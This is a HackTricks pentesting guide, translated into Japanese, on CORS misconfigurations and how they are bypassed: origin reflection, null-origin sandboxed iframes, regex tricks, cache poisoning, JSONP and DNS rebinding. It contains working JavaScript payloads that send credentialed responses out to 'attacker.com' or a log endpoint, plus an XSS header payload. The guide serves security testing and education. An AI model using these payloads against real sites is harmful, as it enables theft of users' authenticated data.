CORS - 蚭定ミスずバむパス

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

CORSずは

Cross-Origin Resource Sharing (CORS)暙準は、サヌバヌが「誰がその資産にアクセスできるか」ず「倖郚゜ヌスからどのHTTPリク゚ストメ゜ッドが蚱可されるか」を定矩できるようにしたす。

同䞀オリゞンsame-origin ポリシヌは、リ゜ヌスを芁求するサヌバヌずそのリ゜ヌスをホストするサヌバヌが同じプロトコル䟋: http://、ドメむン名䟋: internal-web.com、およびポヌト䟋: 80を共有するこずを芁求したす。このポリシヌの䞋では、同䞀のドメむンずポヌトからのりェブペヌゞだけがリ゜ヌスにアクセスできたす。

http://normal-website.com/example/example.html のコンテキストでの同䞀オリゞンポリシヌの適甚は次の通りです:

URL accessedAccess permitted?
http://normal-website.com/example/はい: スキヌム、ドメむン、ポヌトが同䞀
http://normal-website.com/example2/はい: スキヌム、ドメむン、ポヌトが同䞀
https://normal-website.com/example/いいえ: スキヌムずポヌトが異なる
http://en.normal-website.com/example/いいえ: ドメむンが異なる
http://www.normal-website.com/example/いいえ: ドメむンが異なる
http://normal-website.com:8080/example/いいえ: ポヌトが異なる*

*Internet Explorerは同䞀オリゞンポリシヌの適甚においおポヌト番号を無芖するため、このアクセスを蚱可したす。

Access-Control-Allow-Origin Header

このヘッダヌは耇数のオリゞン、倀が**null、たたはワむルドカヌドの*を蚱可するこずができたす。しかし、どのブラりザも耇数のオリゞンをサポヌトしおいないこず、ワむルドカヌド*の䜿甚には制限**があるこずに泚意しおください。ワむルドカヌドは単独で䜿甚する必芁があり、Access-Control-Allow-Credentials: trueず䜵甚するこずはできたせん。

このヘッダヌは、りェブサむトから発行されたクロスドメむンのリ゜ヌス芁求にサヌバヌが応答する際にサヌバヌ偎が発行したす。ブラりザは自動的に Origin ヘッダヌを远加したす。

Access-Control-Allow-Credentials Header

デフォルトでは、クロスオリゞンリク゚ストはクッキヌや Authorization ヘッダヌなどの認蚌情報なしで行われたす。しかし、クロスドメむンのサヌバヌは Access-Control-Allow-Credentials ヘッダヌを true に蚭定するこずで、認蚌情報が送信された堎合にレスポンスの読み取りを蚱可できたす。

true に蚭定するず、ブラりザはクッキヌ、authorization ヘッダヌ、たたは TLS クラむアント蚌明曞などの認蚌情報を送信したす。

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF プレフラむトリク゚スト

クロスドメむン通信におけるプレフラむトリク゚ストの理解

クロスドメむンリク゚ストを開始する際、䟋えば 非暙準の HTTP メ゜ッドHEAD、GET、POST 以倖、新しい ヘッダヌ の远加、たたは特殊な Content-Type ヘッダヌ倀 を䜿甚する堎合など、プレフラむトリク゚ストが必芁になるこずがありたす。この予備リク゚ストは OPTIONS メ゜ッドを甚い、サヌバヌに察しお今埌行われるクロスオリゞンリク゚ストが䜿甚しようずしおいる HTTP メ゜ッドやヘッダヌなどの意図を通知したす。

Cross-Origin Resource Sharing (CORS) プロトコルは、蚱可されおいるメ゜ッドやヘッダヌ、Origin の信頌性を怜蚌しお芁求されたクロスオリゞン操䜜が蚱可可胜かどうかを刀断するためにこのプレフラむトチェックを芁求したす。プレフラむトリク゚ストが䞍芁ずなる条件の詳现に぀いおは、Mozilla Developer Network (MDN) の包括的なガむドを参照しおください。

重芁なのは、プレフラむトリク゚ストが行われないこずがレスポンスに Authorization ヘッダヌを含める必芁がないこずを意味しない、ずいう点です。これらのヘッダヌがないず、ブラりザはクロスオリゞンリク゚ストのレスポンスを凊理できたせん。

以䞋は、PUT メ゜ッドず Special-Request-Header ずいうカスタムヘッダヌを䜿甚しようずするプレフラむトリク゚ストの䟋です

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

レスポンスずしお、サヌバヌは蚱可されたメ゜ッド、蚱可されたオリゞン、および䞋に瀺すようなその他の CORS ポリシヌの詳现を瀺すヘッダヌを返す堎合がありたす:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: このヘッダは、実際のリク゚ストで䜿甚できるヘッダを指定したす。サヌバが蚭定し、クラむアントからのリク゚ストで蚱可されおいるヘッダを瀺したす。
  • Access-Control-Expose-Headers: このヘッダを通じお、サヌバは、単玔なレスポンスヘッダに加えおどのヘッダをレスポンスの䞀郚ずしお公開できるかをクラむアントに通知したす。
  • Access-Control-Max-Age: このヘッダは、プリフラむトリク゚ストの結果をどれくらいの期間キャッシュできるかを瀺したす。サヌバは、プリフラむトリク゚ストで返された情報が再利甚され埗る最倧時間秒を蚭定したす。
  • Access-Control-Request-Headers: プリフラむトリク゚ストで䜿甚され、クラむアントが実際のリク゚ストで䜿いたいHTTPヘッダをサヌバに知らせるためにクラむアントが蚭定したす。
  • Access-Control-Request-Method: 同じくプリフラむトリク゚ストで䜿甚され、クラむアントが実際に䜿甚するHTTPメ゜ッドを瀺すために蚭定したす。
  • Origin: このヘッダはブラりザによっお自動的に蚭定され、クロスオリゞンリク゚ストの発信元を瀺したす。サヌバはCORSポリシヌに基づき、受信したリク゚ストを蚱可するか拒吊するかを刀断するためにこれを䜿甚したす。

Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
したがっお、CORSはCSRFからの防埡にはならないただし圹に立぀堎合はある。

ロヌカルネットワヌクリク゚ストのプリフラむトリク゚スト

  1. Access-Control-Request-Local-Network: このヘッダはクラむアントのリク゚ストに含たれ、問い合わせがロヌカルネットワヌク内のリ゜ヌスを察象ずしおいるこずを瀺したす。サヌバに察しリク゚ストがロヌカルネットワヌク内から発生しおいるこずを知らせるマヌカヌずしお機胜したす。
  2. Access-Control-Allow-Local-Network: サヌバはこのヘッダを䜿っお、芁求されたリ゜ヌスがロヌカルネットワヌク倖の゚ンティティず共有されるこずを蚱可するこずを䌝えたす。これは異なるネットワヌク境界でリ゜ヌス共有を蚱可する合図ずしお機胜し、アクセスを制埡し぀぀セキュリティプロトコルを維持したす。

A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

linux の 0.0.0.0 IP は、その IP アドレスが「local」ず芋なされないため、localhost ぞのアクセス芁件を bypass するために動䜜するこずに泚意しおください。

たた、ロヌカル゚ンドポむントの public IP address of a local endpoint䟋: ルヌタヌの public IPを䜿甚するず、bypass the Local Network requirements できる堎合がありたす。いく぀かのケヌスでは、public IP にアクセスしおいおも、それが from the local network であればアクセスが蚱可されたす。

ワむルドカヌド

次の蚭定が非垞に蚱容的に芋えるように思えおも、泚意しおください

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

これはブラりザでは蚱可されおおらず、そのためこの蚭定ではcredentialsはリク゚ストずずもに送信されたせん。

Exploitable misconfigurations

Access-Control-Allow-Credentialsを**trueに蚭定するこずは、ほずんどの実際の攻撃**にずっお前提条件であるず芳察されおいたす。この蚭定はブラりザがcredentialsを送信しレスポンスを読み取るこずを蚱可するため、攻撃の有効性を高めたす。これがなければ、ブラりザにリク゚ストを発行させる利点は枛少し、ナヌザヌのcookiesを利甚するこずが事実䞊䞍可胜になりたす。

Exception: Exploiting Network Location as Authentication

被害者のnetwork locationが䞀皮の認蚌ずしお機胜する䟋倖がありたす。これにより、被害者のブラりザをproxyずしお利甚し、IP-based authenticationを迂回しおintranet applicationsぞアクセスするこずが可胜になりたす。この手法はDNS rebindingずむンパクトが類䌌しおいたすが、悪甚はより簡単です。

Reflection of Origin in Access-Control-Allow-Origin

Originヘッダの倀がAccess-Control-Allow-Originに反映されるずいう珟実的なシナリオは、これらのヘッダを組み合わせるこずに察する制玄のため理論䞊ありそうにありたせん。しかし、耇数のURLsに察しおCORSを有効にしようずする開発者が、Originヘッダの倀をコピヌしおAccess-Control-Allow-Originヘッダを動的に生成するこずがありたす。この方法は脆匱性を招く可胜性があり、特に攻撃者が正圓らしく芋える名前のドメむンを䜿っお怜蚌ロゞックを欺く堎合に問題ずなりたす。

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null オリゞンの悪甚

null オリゞンは、リダむレクトやロヌカルHTMLファむルずいった状況で指定される特異な存圚です。開発を容易にするためにこのオリゞンをホワむトリストに登録しおいるアプリケヌションがあり、その結果、任意のりェブサむトが sandboxed iframe を介しお null オリゞンを暡倣でき、CORS 制限を回避しおしたうこずがありたす。

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

正芏衚珟バむパス手法

ドメむンのホワむトリストに遭遇した堎合、ホワむトリスト枈みドメむンに攻撃者のドメむンを付加する、あるいは subdomain takeover 脆匱性を悪甚するなど、バむパスの可胜性をテストするこずが重芁です。さらに、ドメむン怜蚌に䜿甚される正芏衚珟はドメむン呜名芏則の埮劙な違いを芋萜ずしがちで、さらなるバむパス機䌚を生むこずがありたす。

高床な正芏衚珟バむパス

正芏衚珟パタヌンは通垞、英数字、ドット (.)、ハむフン (-) の文字に着目し、他の可胜性を無芖しがちです。たずえば、ブラりザず正芏衚珟で解釈が異なる文字を含むように䜜成したドメむン名は、セキュリティチェックを回避できたす。サブドメむン内のアンダヌスコアの扱いにおける Safari、Chrome、Firefox の挙動は、このような䞍䞀臎がドメむン怜蚌ロゞックを回避するためにどのように悪甚されうるかを瀺しおいたす。

このバむパス確認の詳现ず蚭定に぀いおは https://www.corben.io/advanced-cors-techniques/ および https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

サブドメむン内の XSS から

開発者はしばしば、情報をリク゚ストできるドメむンをホワむトリスト化するこずで CORS の悪甚に察する防埡を実装したす。しかしこれらの察策にもかかわらず、システムのセキュリティは完党ではありたせん。ホワむトリスト化されたドメむン内にたった1぀でも脆匱なサブドメむンが存圚するず、XSS (Cross-Site Scripting) のような他の脆匱性を通じお CORS の悪甚を蚱す可胜性がありたす。

䟋を瀺すために、ドメむン requester.com が別のドメむン provider.com からのリ゜ヌスにアクセスするためにホワむトリストに登録されおいる状況を想定したす。サヌバヌ偎の蚭定は次のようになっおいるかもしれたせん

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

この構成では、requester.com のすべおのサブドメむンがアクセスを蚱可されおいたす。しかし、あるサブドメむン、䟋えば sub.requester.com が XSS 脆匱性によっお䟵害されるず、攻撃者はこの匱点を悪甚できたす。䟋えば、sub.requester.com にアクセスできる攻撃者は、XSS 脆匱性を利甚しお CORS ポリシヌをバむパスし、provider.com 䞊のリ゜ヌスに䞍正にアクセスする可胜性がありたす。

特殊文字

PortSwigger’s URL validation bypass cheat sheet は、䞀郚のブラりザがドメむン名内で奇劙な文字をサポヌトしおいるこずを発芋したした。

Chrome ず Firefox は、Origin ヘッダの怜蚌に䜿甚される正芏衚珟をバむパスできるアンダヌスコア _ をサポヌトしおいたす

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari はドメむン名における特殊文字の扱いがさらに緩い:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

その他の面癜いURLトリック

URL Format Bypass

Server-side cache poisoning

From this research

HTTP header injection を通じお server-side cache poisoning を悪甚するこずで、stored Cross-Site Scripting (XSS) 脆匱性が誘発される可胜性がありたす。これは、アプリケヌションが Origin ヘッダヌを䞍正な文字に察しおサニタむズしない堎合に発生し、特に Internet Explorer および Edge のナヌザヌに圱響したす。これらのブラりザは (0x0d) を正圓な HTTP header terminator ずしお扱い、その結果 HTTP header injection vulnerabilities を匕き起こしたす。

Origin ヘッダヌが操䜜された以䞋のリク゚ストを考えおください

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer ず Edge はレスポンスを次のように解釈したす:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page’s character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.

For further reading on stored XSS vulnerabilities, see PortSwigger.

泚意: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.

Client-Side cache poisoning

From this research

このシナリオでは、カスタムHTTPヘッダヌの内容を適切に゚ンコヌドせずに反映するりェブペヌゞのむンスタンスが芳察されたす。具䜓的には、りェブペヌゞが X-User-id ヘッダヌに含たれる内容を返し、その䞭に悪意あるJavaScriptが含たれる可胜性がありたす。䟋では、ヘッダヌに読み蟌み時にJavaScriptを実行するよう蚭蚈されたSVGむメヌゞタグが含たれおいたす。

Cross-Origin Resource Sharing (CORS) ポリシヌはカスタムヘッダヌの送信を蚱可したす。しかし、CORS制限によりブラりザがレスポンスを盎接レンダリングしない堎合、こうした泚入の有甚性は限定的に芋えるかもしれたせん。重芁なのはブラりザのキャッシュ動䜜を考慮する点です。Vary: Origin ヘッダヌが指定されおいないず、悪意あるレスポンスがブラりザにキャッシュされる可胜性が生じたす。その結果、このキャッシュされたレスポンスが盎接レンダリングされ、初回リク゚スト時に盎接レンダリングする必芁がなくなる堎合がありたす。この仕組みにより、client-side caching を利甚しお攻撃の信頌性が高たりたす。

この攻撃を瀺すために、JSFiddleなどのりェブペヌゞ環境で実行されるこずを想定したJavaScriptの䟋が甚意されおいたす。このスクリプトは単玔な動䜜を行いたす悪意あるJavaScriptを含むカスタムヘッダヌを付けお指定したURLぞリク゚ストを送信したす。リク゚ストが正垞に完了するず、タヌゲットURLぞ遷移し、Vary: Origin ヘッダヌが適切に扱われずにレスポンスがキャッシュされおいた堎合、泚入されたスクリプトの実行を匕き起こす可胜性がありたす。

Here’s a summarized breakdown of the JavaScript used to execute this attack:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

バむパス

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI別名 Cross-Site Script Inclusionは、script タグでリ゜ヌスを読み蟌む際に Same Origin Policy (SOP) が適甚されない点を悪甚する脆匱性の䞀皮です。script は異なるドメむンから読み蟌たれるこずが蚱容されるため、この仕組みを利甚しお攻撃者が script タグで読み蟌たれた任意のコンテンツにアクセス・閲芧できおしたいたす。

この脆匱性は、動的な JavaScript や JSONPJSON with Padding、特に cookie のような ambient-authority 情報が認蚌に䜿われおいる堎合に重倧になりたす。異なるホストぞリク゚ストする際に cookie が付䞎されれば、それが攻撃者に利甚される可胜性がありたす。

解析・緩和のために、BurpSuite のプラグむンhttps://github.com/kapytein/jsonpを利甚するず䟿利です。このプラグむンは XSSI の可胜性を怜出するのに圹立ちたす。

Read more about the difefrent types of XSSI and how to exploit them here.

リク゚ストに callback パラメヌタを远加しおみおください。ペヌゞが JSONP を返すよう準備されおいる堎合、Content-Type: application/javascript でデヌタを返し、CORS ポリシヌを回避できる可胜性がありたす。

Easy (useless?) bypass

Access-Control-Allow-Origin 制限を回避する簡単な方法の䞀぀は、察象の Web アプリに代わりにリク゚ストを行っおもらい、そのレスポンスを返しおもらうこずです。ただし、このケヌスでは最終的な被害者の資栌情報は別ドメむンぞのリク゚ストになるため送信されたせん。

  1. CORS-escape: このツヌルはリク゚ストずそのヘッダを転送し぀぀、Origin ヘッダを芁求ドメむンに停装するプロキシを提䟛したす。これにより CORS ポリシヌを実質的にバむパスできたす。XMLHttpRequest の䜿甚䟋などがありたす。
  2. simple-cors-escape: リク゚ストをそのたた流すのではなく、サヌバヌ偎が指定されたパラメヌタで独自にリク゚ストを行う代替アプロヌチを提䟛したす。

Iframe + Popup Bypass

iframe を䜜成し、そこから新しいりィンドりを開くこずで、e.origin === window.origin のような CORS チェックをバむパスできたす。詳しくはこちらのペヌゞを参照しおください:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL は、DNS レコヌドを操䜜しお䞀郚のセキュリティ察策を回避する手法です。仕組みは次の通りです

  1. 攻撃者がペヌゞを䜜り、被害者にアクセスさせる。
  2. 攻撃者は自分のドメむンの DNSIPを被害者のペヌゞぞ向けるよう倉曎する。
  3. 被害者のブラりザは DNS 応答をキャッシュし、TTLTime to Liveに埓っお有効期間を保持する。
  4. TTL が切れるずブラりザは新たな DNS リク゚ストを行い、攻撃者は被害者ペヌゞ䞊で JavaScript を実行できるようになる。
  5. 攻撃者が被害者の IP を制埡するこずで、被害者サヌバヌぞ cookie を送るこずなく情報を収集できたす。

ただし、ブラりザにはキャッシュ機構があり、䜎い TTL 倀でも即座の悪甚を防ぐ堎合がありたす。

DNS rebinding は、被害者偎の明瀺的な IP チェックを回避したり、ナヌザやボットが長時間同䞀ペヌゞを開いたたたにするような状況でキャッシュが切れるのを狙うのに有甚です。

手軜に詊すには https://lock.cmpxchg8b.com/rebinder.html のようなサヌビスを利甚できたす。

独自の DNS rebinding サヌバヌを立おるには DNSrebinderhttps://github.com/mogwailabs/DNSrebinder等を䜿えたす。これはロヌカルのポヌト 53/udp を公開し、A レコヌドでそれを指す䟋: ns.example.com、さらに NS レコヌドで先ほどの A サブドメむンを指す蚭定にするこずで動䜜したす。ns.example.com の任意のサブドメむンはホスト偎で解決されるようになりたす。

たた、公開されたサヌバヌの䟋ずしお http://rebind.it/singularity.html も参考になりたす。

DNS Rebinding via DNS Cache Flooding

DNS cache flooding による DNS rebinding は、ブラりザのキャッシュ機構を砎り再床の DNS リク゚ストを匷制する別の手法です。手順は次の通りです

  1. 初回の DNS リク゚ストには攻撃者の IP を返す。
  2. キャッシュ防埡を回避するために、攻撃者は service worker を利甚しお DNS キャッシュを措氎させ、キャッシュされた攻撃者サヌバ名を事実䞊削陀する。
  3. 被害者のブラりザが二床目の DNS リク゚ストを行うず、127.0.0.1通垞は localhostなどの IP を返す。

service worker によるキャッシュ措氎で DNS 解決を操䜜し、被害者ブラりザに再リク゚ストを行わせ、意図する IP に解決させるこずができたす。

DNS Rebinding via Cache

別のキャッシュ回避手法ずしお、同䞀サブドメむンに耇数の IP を割り圓おる方法がありたす。流れは次の通りです

  1. 攻撃者が DNS プロバむダに同䞀サブドメむンの A レコヌドを二぀たたは䞀぀の A レコヌドに二぀の IP蚭定する。
  2. ブラりザがこれらを確認するず䞡方の IP を受け取る。
  3. ブラりザがたず攻撃者の IP を䜿うず、攻撃者は同䞀ドメむンぞの HTTP リク゚ストを実行するペむロヌドを返す。
  4. 攻撃者が被害者の IP を入手したら、攻撃者偎はブラりザぞの応答を停止する。
  5. ブラりザはそのドメむンが応答しないず刀断しお 2 番目の IP を䜿うようになる。
  6. 2 番目の IP にアクセスするこずで、ブラりザは SOP を回避し、攻撃者は情報収集や exfiltration を行える。

この手法は、ドメむンに耇数の IP が提䟛された際のブラりザの挙動を利甚したす。応答を戊略的に制埡しおブラりザの遞択を操䜜するこずで SOP を悪甚できたす。

Warning

Note that in order to access localhost you should try to rebind 127.0.0.1 in Windows and 0.0.0.0 in linux.
Providers such as godaddy or cloudflare didn’t allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them “0.0.0.0”

詳现は https://unit42.paloaltonetworks.com/dns-rebinding/ を参照しおください。

Other Common Bypasses

  • If internal IPs aren’t allowed, they might forgot forbidding 0.0.0.0 (works on Linux and Mac)
  • If internal IPs aren’t allowed, respond with a CNAME to localhost (works on Linux and Ma
  • If internal IPs aren’t allowed as DNS responses, you can respond CNAMEs to internal services such as www.corporate.internal.

DNS Rebidding Weaponized

前述のバむパス手法やツヌルの䜿い方に぀いおは、講挔 Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference を参照しおください。

Singularity of Origin は DNS rebinding 攻撃を行うためのツヌルです。攻撃者サヌバの DNS 名をタヌゲットのマシン IP にリバむンドし、タヌゲット䞊の脆匱な゜フトを攻撃するためのペむロヌドを配信するためのコンポヌネントを含んでいたす。

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH は単に叀兞的な RFC1035 DNS の wire フォヌマットを HTTPS 内にトンネリングする通垞は Content-Type: application/dns-message の POSTだけです。リゟルバは同じリ゜ヌスレコヌドで応答するため、ブラりザが攻撃者管理のホスト名を TLS 経由で解決しおも SOP を砎る手法は匕き続き機胜したす。

Key observations

  • Chrome (Windows/macOS) ず Firefox (Linux) は、Cloudflare、Google、OpenDNS の DoH リゟルバで蚭定した堎合にリバむンドに成功したす。トランスポヌトの暗号化は、first-then-second、multiple-answers、DNS cache flooding 戊略に察する攻撃フロヌの遅延や遮断にはならないこずが確認されおいたす。
  • 公開リゟルバはすべおのク゚リを受け取りたすが、ブラりザが埓うべきホスト→IP のマッピングを厳栌に匷制するこずは皀です。暩嚁サヌバがリバむンディングのシヌケンスを返すず、ブラりザは元の origin タプルを保ったたた新しい IP に接続し続けたす。

Singularity strategies and timing over DoH

  • First-then-second は䟝然ずしお最も信頌できる手法です最初のルックアップは攻撃者 IPペむロヌドを配信を返し、その埌のルックアップは内郚/localhost の IP を返したす。兞型的なブラりザの DNS キャッシュでは、この切り替えは ~40–60 秒で起きたす。これは再垰リゟルバが HTTPS 経由でのみ到達可胜な堎合でも同様です。
  • Multiple answers (fast rebinding) は、二぀の A レコヌド攻撃者 IP + Linux/macOS の堎合 0.0.0.0、Windows の堎合 127.0.0.1で応答し、ペヌゞ読み蟌み盎埌に最初の IP をプログラム的にブラックホヌル化䟋: iptables -I OUTPUT -d <attacker_ip> -j DROPするこずで <3 秒で localhost に到達したす。Firefox の DoH 実装は繰り返し DNS ク゚リを発行するこずがあるため、Singularity の察策はタむマヌを各ク゚リで曎新するのではなく、最初のク゚リのタむムスタンプに盞察しおファむアりォヌルルヌルをスケゞュヌルするこずです。

Beating “rebind protection” in DoH providers

  • 䞀郚プロバむダ䟋: NextDNSは private/loopback の応答を 0.0.0.0 に眮換したすが、Linux ず macOS はその宛先をロヌカルサヌビスぞルヌティングしたす。したがっお、二番目のレコヌドずしお意図的に 0.0.0.0 を返すこずは䟝然ずしお localhost ぞピボットする効果がありたす。
  • 盎接的な A/AAAA 応答だけをフィルタするのは無効です内郚専甚ホスト名ぞの CNAME を返すず、公開 DoH リゟルバはその゚むリアスを転送し、Firefox 等のブラりザは内郚ゟヌンの解決のためにシステム DNS にフォヌルバックするため、最終的にプラむベヌト IP に解決され、それでも攻撃者 origin ずしお扱われたす。

Browser-specific DoH behavior

  • Firefox DoH はフォヌルバックモヌドで動䜜したすDoH の倱敗未解決の CNAME タヌゲットを含むは OS リゟルバによるプレヌンテキストルックアップをトリガヌしたす。OS リゟルバは通垞゚ンタヌプラむズ DNS サヌバで内郚名前空間を知っおいるため、䌁業ネットワヌク内郚での CNAME バむパスが信頌できるのはこの挙動によりたす。
  • Chrome DoH は OS DNS がホワむトリスト化された DoH 察応再垰リゟルバCloudflare、Google、Quad9 等を指しおいる堎合にのみ有効になり、同じフォヌルバックチェむンを提䟛したせん。䌁業 DNS のみで存圚する内郚ホスト名は解決できなくなりたすが、localhost やルヌティング可胜なアドレスぞのリバむンドは成功したす。なぜなら攻撃者が応答セット党䜓を制埡しおいるためです。

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS で DoH ゚ンドポむントを指定Cloudflare ず NextDNS は組み蟌み。Chrome/Chromium: chrome://flags/#dns-over-https を有効にし、OS の DNS サヌバを Chrome のサポヌトするリゟルバ䟋: 1.1.1.1/1.0.0.1に蚭定したす。
  • 公開 DoH API を盎接ク゚リしお、ブラりザがキャッシュする正確なレコヌドを確認できたす。䟋: curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq
  • DoH は単に HTTPS なので Burp/ZAP でむンタヌセプトできたすボディ内にバむナリ DNS ペむロヌド。パケットレベルで解析するには、ブラりザ起動前に TLS キヌを゚クスポヌトexport SSLKEYLOGFILE=~/SSLKEYLOGFILE.txtし、Wireshark で DoH セッションを埩号しお dns ディスプレむフィルタを䜿っおブラりザが DoH に留たっおいるかフォヌルバックしおいるかを確認したす。

Real Protection against DNS Rebinding

  • Use TLS in internal services
  • Request authentication to access data
  • Validate the Host header
  • https://wicg.github.io/private-network-access/: Proposal to always send a pre-flight request when public servers want to access internal servers

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする